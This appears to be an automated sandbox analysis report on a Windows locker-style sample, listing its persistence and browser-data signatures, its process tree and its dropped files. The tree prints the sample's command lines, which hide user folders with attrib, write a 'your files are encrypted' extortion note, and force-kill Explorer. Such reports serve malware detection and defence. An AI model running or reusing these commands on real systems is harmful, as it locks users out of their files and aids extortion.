Analysis

  • user interaction
    yes
  • max time kernel
    149s
  • max time network
    146s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260513-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    17/07/2026, 10:23

General

  • Target
    Stub-cleaned.exe
  • Size 1.8MB
  • Sample260717-mesnmsgz8p
  • SHA256 364a9259a487115b609783b47cb00605a2966bebd2efa511708ca3966724c333
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Modifies WinLogon for persistence 2 TTPs 1 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Adds Run key to start application 2 TTPs 13 IoCs
  • Drops desktop.ini file(s) 12 IoCs
  • Hide Artifacts: Hidden Files and Directories 1 TTPs 12 IoCs
  • Kills process with taskkill 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 37 IoCs
  • Views/modifies file attributes 1 TTPs 24 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\Stub-cleaned.exe
    "C:\Users\Admin\AppData\Local\Temp\Stub-cleaned.exe"
    1⤵
    • Modifies WinLogon for persistence
    • Adds Run key to start application
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:3276
    • C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /c F: & attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @%username% 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
      2⤵
      • Hide Artifacts: Hidden Files and Directories
      • Suspicious use of WriteProcessMemory
      PID:1912
      • C:\Windows\system32\attrib.exe
        attrib +h +s +r +i /D
        3⤵
        • Views/modifies file attributes
        PID:4148
      • C:\Windows\system32\attrib.exe
        attrib -h +s +r info-Locker.txt
        3⤵
        • Views/modifies file attributes
        PID:3060
    • C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /c cd "%userprofile%\desktop"&attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @%username% 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
      2⤵
      • Hide Artifacts: Hidden Files and Directories
      • Suspicious use of WriteProcessMemory
      PID:1072
      • C:\Windows\system32\attrib.exe
        attrib +h +s +r +i /D
        3⤵
        • Drops desktop.ini file(s)
        • Views/modifies file attributes
        PID:4000
      • C:\Windows\system32\attrib.exe
        attrib -h +s +r info-Locker.txt
        3⤵
        • Views/modifies file attributes
        PID:4340
    • C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /c cd "%systemdrive%\Users\Public\Desktop"&attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @%username% 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
      2⤵
      • Hide Artifacts: Hidden Files and Directories
      • Suspicious use of WriteProcessMemory
      PID:2944
      • C:\Windows\system32\attrib.exe
        attrib +h +s +r +i /D
        3⤵
        • Drops desktop.ini file(s)
        • Views/modifies file attributes
        PID:2404
      • C:\Windows\system32\attrib.exe
        attrib -h +s +r info-Locker.txt
        3⤵
        • Views/modifies file attributes
        PID:3512
    • C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /c cd "%userprofile%\downloads"&attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @%username% 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
      2⤵
      • Hide Artifacts: Hidden Files and Directories
      • Suspicious use of WriteProcessMemory
      PID:5060
      • C:\Windows\system32\attrib.exe
        attrib +h +s +r +i /D
        3⤵
        • Drops desktop.ini file(s)
        • Views/modifies file attributes
        PID:3400
      • C:\Windows\system32\attrib.exe
        attrib -h +s +r info-Locker.txt
        3⤵
        • Views/modifies file attributes
        PID:4140
    • C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /c cd "%userprofile%\documents"&attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @%username% 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
      2⤵
      • Hide Artifacts: Hidden Files and Directories
      • Suspicious use of WriteProcessMemory
      PID:3596
      • C:\Windows\system32\attrib.exe
        attrib +h +s +r +i /D
        3⤵
        • Drops desktop.ini file(s)
        • Views/modifies file attributes
        PID:4540
      • C:\Windows\system32\attrib.exe
        attrib -h +s +r info-Locker.txt
        3⤵
        • Views/modifies file attributes
        PID:4880
    • C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /c cd "%userprofile%"&attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @%username% 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
      2⤵
      • Hide Artifacts: Hidden Files and Directories
      • Suspicious use of WriteProcessMemory
      PID:4864
      • C:\Windows\system32\attrib.exe
        attrib +h +s +r +i /D
        3⤵
        • Views/modifies file attributes
        PID:3940
      • C:\Windows\system32\attrib.exe
        attrib -h +s +r info-Locker.txt
        3⤵
        • Views/modifies file attributes
        PID:4840
    • C:\Windows\SYSTEM32\taskkill.exe
      taskkill.exe /im Explorer.exe /f
      2⤵
      • Kills process with taskkill
      • Suspicious use of AdjustPrivilegeToken
      PID:3524
    • C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /c F: & attrib -h -s -r -i /D & del info-Locker.txt /q /s & attrib +h +s -r desktop.ini
      2⤵
      • Hide Artifacts: Hidden Files and Directories
      • Suspicious use of WriteProcessMemory
      PID:4772
      • C:\Windows\system32\attrib.exe
        attrib -h -s -r -i /D
        3⤵
        • Views/modifies file attributes
        PID:2020
      • C:\Windows\system32\attrib.exe
        attrib +h +s -r desktop.ini
        3⤵
        • Views/modifies file attributes
        PID:220
    • C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /c cd "%userprofile%\desktop"&attrib -h -s -r -i /D & del info-Locker.txt /q /s & attrib +h +s -r desktop.ini
      2⤵
      • Hide Artifacts: Hidden Files and Directories
      • Suspicious use of WriteProcessMemory
      PID:4204
      • C:\Windows\system32\attrib.exe
        attrib -h -s -r -i /D
        3⤵
        • Drops desktop.ini file(s)
        • Views/modifies file attributes
        PID:3080
      • C:\Windows\system32\attrib.exe
        attrib +h +s -r desktop.ini
        3⤵
        • Drops desktop.ini file(s)
        • Views/modifies file attributes
        PID:1552
    • C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /c cd "%systemdrive%\Users\Public\Desktop"&attrib -h -s -r -i /D & del info-Locker.txt /q /s & attrib +h +s -r desktop.ini
      2⤵
      • Hide Artifacts: Hidden Files and Directories
      • Suspicious use of WriteProcessMemory
      PID:2688
      • C:\Windows\system32\attrib.exe
        attrib -h -s -r -i /D
        3⤵
        • Drops desktop.ini file(s)
        • Views/modifies file attributes
        PID:956
      • C:\Windows\system32\attrib.exe
        attrib +h +s -r desktop.ini
        3⤵
        • Drops desktop.ini file(s)
        • Views/modifies file attributes
        PID:2200
    • C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /c cd "%userprofile%\downloads"&attrib -h -s -r -i /D & del info-Locker.txt /q /s & attrib +h +s -r desktop.ini
      2⤵
      • Hide Artifacts: Hidden Files and Directories
      • Suspicious use of WriteProcessMemory
      PID:4420
      • C:\Windows\system32\attrib.exe
        attrib -h -s -r -i /D
        3⤵
        • Drops desktop.ini file(s)
        • Views/modifies file attributes
        PID:3012
      • C:\Windows\system32\attrib.exe
        attrib +h +s -r desktop.ini
        3⤵
        • Drops desktop.ini file(s)
        • Views/modifies file attributes
        PID:2624
    • C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /c cd "%userprofile%\documents"&attrib -h -s -r -i /D & del info-Locker.txt /q /s & attrib +h +s -r desktop.ini
      2⤵
      • Hide Artifacts: Hidden Files and Directories
      • Suspicious use of WriteProcessMemory
      PID:3588
      • C:\Windows\system32\attrib.exe
        attrib -h -s -r -i /D
        3⤵
        • Drops desktop.ini file(s)
        • Views/modifies file attributes
        PID:3936
      • C:\Windows\system32\attrib.exe
        attrib +h +s -r desktop.ini
        3⤵
        • Drops desktop.ini file(s)
        • Views/modifies file attributes
        PID:3892
    • C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /c cd "%userprofile%"&attrib -h -s -r -i /D & del info-Locker.txt /q /s & attrib +h +s -r desktop.ini
      2⤵
      • Hide Artifacts: Hidden Files and Directories
      • Suspicious use of WriteProcessMemory
      PID:3132
      • C:\Windows\system32\attrib.exe
        attrib -h -s -r -i /D
        3⤵
        • Views/modifies file attributes
        PID:3784
      • C:\Windows\system32\attrib.exe
        attrib +h +s -r desktop.ini
        3⤵
        • Views/modifies file attributes
        PID:4848
  • C:\Users\Admin\AppData\Local\Temp\Stub-cleaned.exe
    "C:\Users\Admin\AppData\Local\Temp\Stub-cleaned.exe"
    1⤵
      PID:2688
    • C:\Users\Admin\AppData\Local\Temp\Stub-cleaned.exe
      "C:\Users\Admin\AppData\Local\Temp\Stub-cleaned.exe" --wininit
      1⤵
        PID:652
      • C:\Users\Admin\AppData\Local\Temp\Stub-cleaned.exe
        "C:\Users\Admin\AppData\Local\Temp\Stub-cleaned.exe" /setup
        1⤵
          PID:2732
        • C:\Users\Admin\AppData\Local\Temp\Stub-cleaned.exe
          "C:\Users\Admin\AppData\Local\Temp\Stub-cleaned.exe" --init
          1⤵
            PID:1716
          • C:\Users\Admin\AppData\Local\Temp\Stub-cleaned.exe
            "C:\Users\Admin\AppData\Local\Temp\Stub-cleaned.exe" -startup
            1⤵
              PID:2660

            Network

                  MITRE ATT&CK Enterprise v16

                  Replay Monitor

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                  Downloads

                  Stub-cleaned.exe.log

                  • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\Stub-cleaned.exe.log
                  • Size 1KB
                  • SHA256 c897436c82fda9abf08b29fe05c42f4e59900116bbaf8bfd5b85ef3c97ab7884
                  • MD5 SHA1 SHA512 TLSH

                  info-Locker.txt

                  • Path C:\Users\Admin\Desktop\info-Locker.txt
                  • Size 73B
                  • SHA256 3dc9195da9088ef0b137387a8f82f2202fa411923680017816ba29310092fa43
                  • MD5 SHA1 SHA512 TLSH

                  info-Locker.txt

                  • Path C:\Users\Admin\Documents\info-Locker.txt
                  • Size 73B
                  • SHA256 c9e73fb7a7e5a529ecc16ca32f34f2e7bf5ad1ae291a97d8ab3dffe2275a79d8
                  • MD5 SHA1 SHA512 TLSH

                  memory/3276-0-0x00000000003B0000-0x000000000057A000-memory.dmp

                  memory/3276-1-0x00000000025F0000-0x0000000002600000-memory.dmp

                  memory/3276-17-0x00000000025F0000-0x0000000002600000-memory.dmp